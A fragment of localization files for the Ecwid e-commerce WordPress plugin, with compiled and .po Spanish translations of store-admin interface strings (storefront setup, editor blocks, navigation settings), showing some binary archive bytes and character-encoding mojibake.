de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral.�¡Su tienda ya está casi lista!�Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda.�La página de su tienda�La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos.�La página de su tienda está publicada. Los clientes pueden visitar su tienda en �Su tienda se mostrará aquí�¡Su tienda se mostrará aquí!�Su escaparate virtual (listado de productos y página de pago) está funcionando bien, pero las funciones avanzadas de la tienda, como el SEO y los «widgets» de la barra lateral, están inhabilitadas. Para habilitarlas y asegurarse de que su tienda funcione correctamente, pulse el botón de abajo para conectar su cuenta de %s. Esto tomará menos de un minuto; solo se le pedirá que inicie sesión en su cuenta y permita que este sitio web obtenga los datos de su tienda.�[%s] Comentarios sobre la desactivación del complemento de WordPress (ID de la tienda: %s)�personalizar apariencia�Contenido�Tienda�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�o <a %s>consulte el centro de asistencia�REF del producto�Precio del producto�seleccionar producto�producto seleccionado�Tienda en línea�Botón de «Comprar ahora»�PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_CL.ponu�„[µü¤��������# Translation of Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) in German # This file is distributed under the same license as the Plugins - Ecwid Ecommerce Shopping Cart - Stable (latest release) package. msgid "" msgstr "" "PO-Revision-Date: 2020-10-12 12:46\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: GlotPress/3.0.0-alpha.2\n" "Language: es\n" "Project-Id-Version: temporary-strings\n" "X-Crowdin-Project: temporary-strings\n" "X-Crowdin-Project-ID: 295314\n" "X-Crowdin-Language: es-ES\n" "X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po\n" "X-Crowdin-File-ID: 988\n" "Language-Team: Spanish\n" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:92 msgid "You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel." msgstr "Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda." #: includes/integrations/elementor/class-ec-elementor-widget-store.php:55 msgid "To manage your store, go to <a %s>the Store Dashboard page</a>" msgstr "Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:39 msgid "The category that is shown by default on the Store Front Page" msgstr "La categoría que se muestra de forma predeterminada en la página del escaparate virtual" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:38 msgid "Default category" msgstr "Categoría predeterminada" #: includes/integrations/elementor/class-ec-elementor-widget-store.php:29 msgid "Online Store" msgstr "Tienda en línea" #: includes/class-ecwid-stub-renderer.php:38 msgid "Buy Now" msgstr "Comprar ahora" #: templates/admin/welcome-terms-privacy.php:5 msgid "By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>." msgstr "Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>." #: js/gutenberg/blocks.build.js:1 msgid "Display shopping cart and checkout page" msgstr "Mostrar el carrito de compras y la página de pago" #: js/gutenberg/blocks.build.js:1 msgid "Cart and Checkout" msgstr "Carrito y pago" #: js/gutenberg/blocks.build.js:1 msgid "Filters" msgstr "Filtros" #: js/gutenberg/blocks.build.js:1 msgid "You can enable filters in the store settings: (“<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Settings → Product Filters</a>â€)." msgstr "Puede habilitar los filtros en la configuración de la tienda: («<a target=\"_blank\" href=\"admin.php?page=ec-store-admin-product-filters-mode-main\">Configuración → Filtros para los productos</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Search and Filters" msgstr "Búsqueda y filtros" #: js/gutenberg/blocks.build.js:1 msgid "Display search page with filters on a side" msgstr "Mostrar página de búsqueda con los filtros a un lado" #: js/gutenberg/blocks.build.js:1 msgid "Product Search and filters" msgstr "Búsqueda de productos y filtros" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display product page with description and a buy button" msgstr "Mostrar la página de productos con la descripción y un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Large" msgstr "Ficha de producto ampliada" #: js/gutenberg/blocks.build.js:1 msgid "Selected category" msgstr "Categoría seleccionada" #: js/gutenberg/blocks.build.js:1 msgid "Select category" msgstr "Seleccionar categoría" #: js/gutenberg/blocks.build.js:1 msgid "Add categories" msgstr "Añadir categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display category page" msgstr "Mostrar la página de categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Category Page" msgstr "Página de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Display shopping bag link and summary" msgstr "Mostrar enlace y resumen de la bolsa de compras" #: js/gutenberg/blocks.build.js:1 msgid "Shopping Cart Icon" msgstr "Icono del carrito de compras" #: js/gutenberg/blocks.build.js:1 msgid "The block is hidden because you don't have categories in your store. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Add categories.</a>" msgstr "El bloque está oculto porque no tiene categorías en su tienda. <a target=\"_blank\" href=\"admin.php?page=ec-store-admin-category-id-0-mode-edit\">Añadir categorías.</a>" #: js/gutenberg/blocks.build.js:1 msgid "Categories" msgstr "Categorías" #: js/gutenberg/blocks.build.js:1 msgid "Display categories navigation bar" msgstr "Mostrar la barra de navegación de las categorías" #: js/gutenberg/blocks.build.js:1 msgid "Store Categories Menu" msgstr "Menú de categorías de la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Product Search Box" msgstr "Cuadro de búsqueda de productos" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:25 #: js/gutenberg/blocks.build.js:1 msgid "Linked product" msgstr "Producto vinculado" #: js/gutenberg/blocks.build.js:1 msgid "Display a buy button" msgstr "Mostrar un botón de compra" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:10 #: js/gutenberg/blocks.build.js:1 msgid "Buy Now Button" msgstr "Botón «Comprar ahora»" #: includes/integrations/elementor/class-ec-elementor-widget-buynow.php:52 #: js/gutenberg/blocks.build.js:1 msgid "Show price inside the «Buy now» button" msgstr "Mostrar el precio dentro del botón de «Comprar ahora»" #: js/gutenberg/blocks.build.js:1 msgctxt "gutenberg-product-block" msgid "Content" msgstr "Contenido" #: js/gutenberg/blocks.build.js:1 msgid "Change" msgstr "Cambiar" #: js/gutenberg/blocks.build.js:1 msgid "Displayed product" msgstr "Producto mostrado" #: js/gutenberg/blocks.build.js:1 msgid "Display product with a buy button" msgstr "Mostrar el producto con un botón de compra" #: js/gutenberg/blocks.build.js:1 msgid "Product Card Small" msgstr "Ficha de producto reducida" #: js/gutenberg/blocks.build.js:1 msgid "Very dark gray" msgstr "Gris oscuro" #: js/gutenberg/blocks.build.js:1 msgid "Cyan bluish gray" msgstr "Gris cian azulado" #: js/gutenberg/blocks.build.js:1 msgid "Very light gray" msgstr "Gris claro" #: js/gutenberg/blocks.build.js:1 msgid "Vivid cyan blue" msgstr "Azul cian vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale cyan blue" msgstr "Azul cian pálido" #: js/gutenberg/blocks.build.js:1 msgid "Vivid green cyan" msgstr "Cian verde vívido" #: js/gutenberg/blocks.build.js:1 msgid "Light green cyan" msgstr "Cian verde claro" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid amber" msgstr "Ãmbar vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Luminous vivid orange" msgstr "Naranja vívido y brillante" #: js/gutenberg/blocks.build.js:1 msgid "Vivid red" msgstr "Rojo vívido" #: js/gutenberg/blocks.build.js:1 msgid "Pale pink" msgstr "Rosa pálido" #: js/gutenberg/blocks.build.js:1 msgid "Set manually" msgstr "Configurar manualmente" #: js/gutenberg/blocks.build.js:1 msgid "Detect automatically" msgstr "Detectar automáticamente" #: js/gutenberg/blocks.build.js:1 msgid "Color settings" msgstr "Configuración de colores" #: js/gutenberg/blocks.build.js:1 msgid "Store Navigation" msgstr "Navegación en la tienda" #: js/gutenberg/blocks.build.js:1 msgid "Store Front Page" msgstr "Página del escaparate virtual" #: js/gutenberg/blocks.build.js:1 msgid "Product sidebar content" msgstr "Contenido de la barra lateral de productos" #: js/gutenberg/blocks.build.js:1 msgid "Product Page Appearance" msgstr "Apariencia de la página del producto" #: js/gutenberg/blocks.build.js:1 msgid "Product List Appearance" msgstr "Apariencia de la lista de productos" #: js/gutenberg/blocks.build.js:1 msgid "Category List Appearance" msgstr "Apariencia de la lista de categorías" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Display cart icon" msgstr "Mostrar icono del carrito" #: js/gutenberg/blocks.build.js:1 msgid "To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Settings → What’s New</a>â€)." msgstr "Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href=\"admin.php?page=ec-store&ec-store-page=whatsnew\">Configuración → Novedades</a>»)." #: js/gutenberg/blocks.build.js:1 msgid "Add storefront (product listing)" msgstr "Añadir escaparate virtual (listado de productos)" #: templates/admin/storefront/main.php:21 msgid "Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers." msgstr "Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes." #: templates/admin/storefront/main.php:20 msgid "The store is not visible on your site" msgstr "La tienda no es visible en su sitio web" #: templates/admin/storefront/main.php:4 msgid "Your Storefront" msgstr "Su escaparate virtual" #: templates/admin/storefront/area-promo.php:30 msgid "Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales." #: templates/admin/storefront/area-promo.php:29 msgid "Promote your store" msgstr "Promocione su tienda" #: templates/admin/storefront/area-promo.php:26 msgid "Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store." msgstr "Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda." #: templates/admin/storefront/area-promo.php:25 msgid "Change store content" msgstr "Cambiar el contenido de la tienda" #: templates/admin/storefront/area-promo.php:22 msgid "Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand." msgstr "Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca." #: templates/admin/storefront/area-promo.php:21 msgid "Customize store appearance" msgstr "Personalizar la apariencia de la tienda" #: templates/admin/storefront/area-promo.php:7 msgid "Add your %s store to the website and start selling in minutes." msgstr "Añada su tienda de %s al sitio web y comience a vender en minutos." #: templates/admin/storefront/area-promo.php:3 msgid "What's next?" msgstr "¿Qué sigue?" #: templates/admin/storefront/area-additional.php:224 msgid "Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar." msgstr "Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son redirigidos a la página principal de la tienda cuando hacen clic en el icono del carrito, en los enlaces de la tienda ubicados en el menú del sitio web o en los productos que se encuentran en la barra lateral." #: templates/admin/storefront/area-additional.php:222 msgid "Choose the main store page" msgstr "Elegir la página principal de la tienda" #: templates/admin/storefront/area-additional.php:200 msgid "Go to Pages" msgstr "Ir a «Páginas»" #: templates/admin/storefront/area-additional.php:193 msgid "You can add the entire storefront, categories, products, or \"Buy now\" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block." msgstr "Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado." #: templates/admin/storefront/area-additional.php:189 msgid "Add your store to other site pages" msgstr "Añada su tienda a otras páginas del sitio web" #: templates/admin/storefront/area-additional.php:166 msgid "Create Product Page" msgstr "Crear página de productos" #: templates/admin/storefront/area-additional.php:150 msgid "Pick Product" msgstr "Elegir un producto" #: templates/admin/storefront/area-additional.php:136 #: templates/admin/storefront/area-additional.php:138 msgid "Create a landing page featuring one of your products." msgstr "Cree una página de aterrizaje con uno de sus productos." #: templates/admin/storefront/area-additional.php:132 msgid "Add a product page" msgstr "Añadir página de productos" #: templates/admin/storefront/area-additional.php:109 msgid "Create Category Page" msgstr "Crear página de categorías" #: templates/admin/storefront/area-additional.php:93 msgid "Pick Category" msgstr "Elegir una categoría" #: templates/admin/storefront/area-additional.php:79 #: templates/admin/storefront/area-additional.php:81 msgid "Feature a specific store category on a separate page of your site." msgstr "Destacar una categoría de la tienda específica en una página separada de su sitio web." #: templates/admin/storefront/area-additional.php:75 msgid "Add a category page" msgstr "Añadir una página de categoría" #: templates/admin/storefront/area-additional.php:54 msgid "Create Search Page" msgstr "Crear página de búsqueda" #: templates/admin/storefront/area-additional.php:50 msgid "Show customers that they can use a search and filters to find desired products faster." msgstr "Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida." #: templates/admin/storefront/area-additional.php:48 msgid "Add a search and filters page" msgstr "Añadir una página de búsqueda y filtros" #: templates/admin/storefront/area-additional.php:27 msgid "Create Cart Page" msgstr "Crear página del carrito" #: templates/admin/storefront/area-additional.php:23 msgid "Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout." msgstr "Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago." #: templates/admin/storefront/area-additional.php:21 msgid "Add cart and checkout page" msgstr "Añadir carrito y página de pago" #: templates/admin/storefront/area-additional.php:4 msgid "Highlight products, categories, and other store pages by adding them to separate website pages." msgstr "Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas." #: templates/admin/storefront/area-additional.php:3 msgid "Additional store pages" msgstr "Páginas adicionales de la tienda" #: templates/admin/storefront/draft-message.php:2 msgid "Publish the page to use this option" msgstr "Publique la página para poder utilizar esta opción" #: templates/admin/storefront/area-design.php:55 msgid "Along with the store catalog, you can add other widgets and texts to the store page." msgstr "Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda." #: templates/admin/storefront/area-design.php:54 msgid "Store page content" msgstr "Contenido de la página de la tienda" #: templates/admin/storefront/area-design.php:25 #: templates/admin/storefront/area-design.php:27 msgid "Adjust your store design to fit your business needs." msgstr "Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio." #: templates/admin/storefront/area-design.php:21 msgid "Store appearance" msgstr "Apariencia de la tienda" #: templates/admin/storefront/area-design.php:4 msgid "Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers." msgstr "Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes." #: templates/admin/storefront/area-design.php:3 msgid "Design and content" msgstr "Diseño y contenido" #: templates/admin/storefront/area-status.php:124 msgid "Create Store Page" msgstr "Crear la página de la tienda" #: templates/admin/storefront/area-status.php:121 msgid "Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display." msgstr "Su tienda no se añade a ninguna página de su sitio web. Para que los clientes puedan navegar por su tienda y realizar pedidos, cree una página donde se mostrará la tienda." #: templates/admin/storefront/area-status.php:115 msgid "Set Up Your Store" msgstr "Configure su tienda" #: templates/admin/storefront/area-status.php:109 msgid "To show your storefront instead of the demo store, connect your existing %s account or create a new one." msgstr "Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva." #: templates/admin/storefront/area-status.php:101 msgid "Publish Store Page" msgstr "Publicar la página de la tienda" #: templates/admin/storefront/area-status.php:98 msgid "Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders." msgstr "La página de su tienda está actualmente en un borrador. Una vez que esté lista, publíquela para que los clientes puedan visitar la tienda y realizar pedidos." #: templates/admin/storefront/area-status.php:92 msgid "View Store Page" msgstr "Ver la página de la tienda" #: templates/admin/storefront/area-status.php:86 msgid "Your store page is published. Customers can browse your store at " msgstr "La página de su tienda está publicada. Los clientes pueden visitar su tienda en " #: templates/admin/storefront/area-status.php:77 msgid "View demo store page" msgstr "Ver la página de la tienda de demostración" #: templates/admin/storefront/area-status.php:46 msgid "Draft" msgstr "Borrador" #: templates/admin/storefront/area-status.php:45 msgid "Published" msgstr "Publicada" #: templates/admin/storefront/area-status.php:33 #: templates/admin/storefront/area-status.php:36 msgid "Status" msgstr "Estado" #: templates/admin/storefront/area-status.php:29 msgid "Add a store page" msgstr "Añadir una página de tienda" #: templates/admin/storefront/area-status.php:24 msgid "Connect your %s store" msgstr "Conecte su tienda de %s" #: templates/admin/storefront/area-status.php:21 msgid "Your store page" msgstr "La página de su tienda" #: templates/admin/storefront/area-status.php:10 msgid "To start selling, add a page to your site where the storefront will display." msgstr "Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual." #: templates/admin/storefront/area-status.php:7 msgid "While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site." msgstr "Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web." #: templates/admin/storefront/area-status.php:4 msgid "Store page on your site" msgstr "Página de la tienda en su sitio web" #: templates/admin/storefront/area-navigation.php:205 msgid "The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href=\"%s\" target=\"_blank\">adjust the cart icon appearance</a>." msgstr "El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href=\"%s\" target=\"_blank\">ajustar la apariencia del icono del carrito</a>." #: templates/admin/storefront/area-navigation.php:201 msgid "Display the shopping cart icon on site pages" msgstr "Muestre el icono del carrito de compras en las páginas del sitio web" #: templates/admin/storefront/area-navigation.php:179 msgid "Manage Sidebar" msgstr "Gestionar la barra lateral" #: templates/admin/storefront/area-navigation.php:175 msgid "Highlight your best sellers or new products in the website sidebar." msgstr "Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web." #: templates/admin/storefront/area-navigation.php:173 msgid "Feature your products in the sidebar" msgstr "Destaque sus productos en la barra lateral" #: templates/admin/storefront/area-navigation.php:151 msgid "Add Store Page to Menu" msgstr "Añadir la página de la tienda al menú" #: templates/admin/storefront/area-navigation.php:147 msgid "Make your store accessible from the site menu so your customers can easily find it." msgstr "Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente." #: templates/admin/storefront/area-navigation.php:141 msgid "Add store page to the site menu" msgstr "Añadir la página de la tienda al menú del sitio web" #: templates/admin/storefront/area-navigation.php:118 msgid "Edit URL Slug" msgstr "Editar «slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:102 msgid "Current URL slug: /<span data-ec-store-slug>%s</span>" msgstr "«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>" #: templates/admin/storefront/area-navigation.php:78 msgid "Save" msgstr "Guardar" #: templates/admin/storefront/area-navigation.php:69 msgid "URL Slug" msgstr "«Slug» de la dirección URL" #: templates/admin/storefront/area-navigation.php:60 #: templates/admin/storefront/area-navigation.php:113 msgid "A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use \"/shop\" or \"/products\"." msgstr "Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos»." #: templates/admin/storefront/area-navigation.php:56 #: templates/admin/storefront/area-navigation.php:98 msgid "Customize store page address" msgstr "Personalizar la dirección de la página de la tienda" #: templates/admin/storefront/area-navigation.php:29 msgid "Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href=\"%s\" target=\"_blank\">WordPress Settings > Reading</a>" msgstr "Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href=\"%s\" target=\"_blank\">Configuración de WordPress > Lectura</a>." #: templates/admin/storefront/area-navigation.php:21 msgid "Show your store on the home page" msgstr "Muestre su tienda en la página de inicio" #: templates/admin/storefront/area-navigation.php:4 msgid "Help customers find your store on the website." msgstr "Ayude a los clientes a encontrar su tienda en el sitio web." #: templates/admin/storefront/area-navigation.php:3 msgid "Navigation" msgstr "Navegación" #: templates/admin/welcome-no_oauth.php:12 msgid "Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>." msgstr "El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>." #: templates/admin/welcome-create.php:11 msgid "Your store has been created. Preparing your store dashboard ..." msgstr "Se ha creado su tienda. Preparando el panel de su tienda..." #: templates/admin/welcome-connect.php:8 msgid "Create store" msgstr "Crear tienda" #: templates/admin/welcome-connect.php:4 msgid "Connect Your Store" msgstr "Conecte su tienda" #: templates/admin/welcome-page.php:61 msgid "Provided by <a %s>%s</a>" msgstr "Proporcionado por <a %s>%s</a>" #: templates/admin/welcome-page.php:33 msgid "To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>." msgstr "Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>." #: templates/admin/welcome-page.php:20 msgid "Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website." msgstr "Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web." #: templates/admin/welcome-page.php:12 msgid "Add an Online Store to Your Website" msgstr "Añadir una tienda en línea a su sitio web" #: includes/class-ecwid-store-page.php:566 msgid "This is a demo store. Create your store to see your store products here." msgstr "Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí." #: 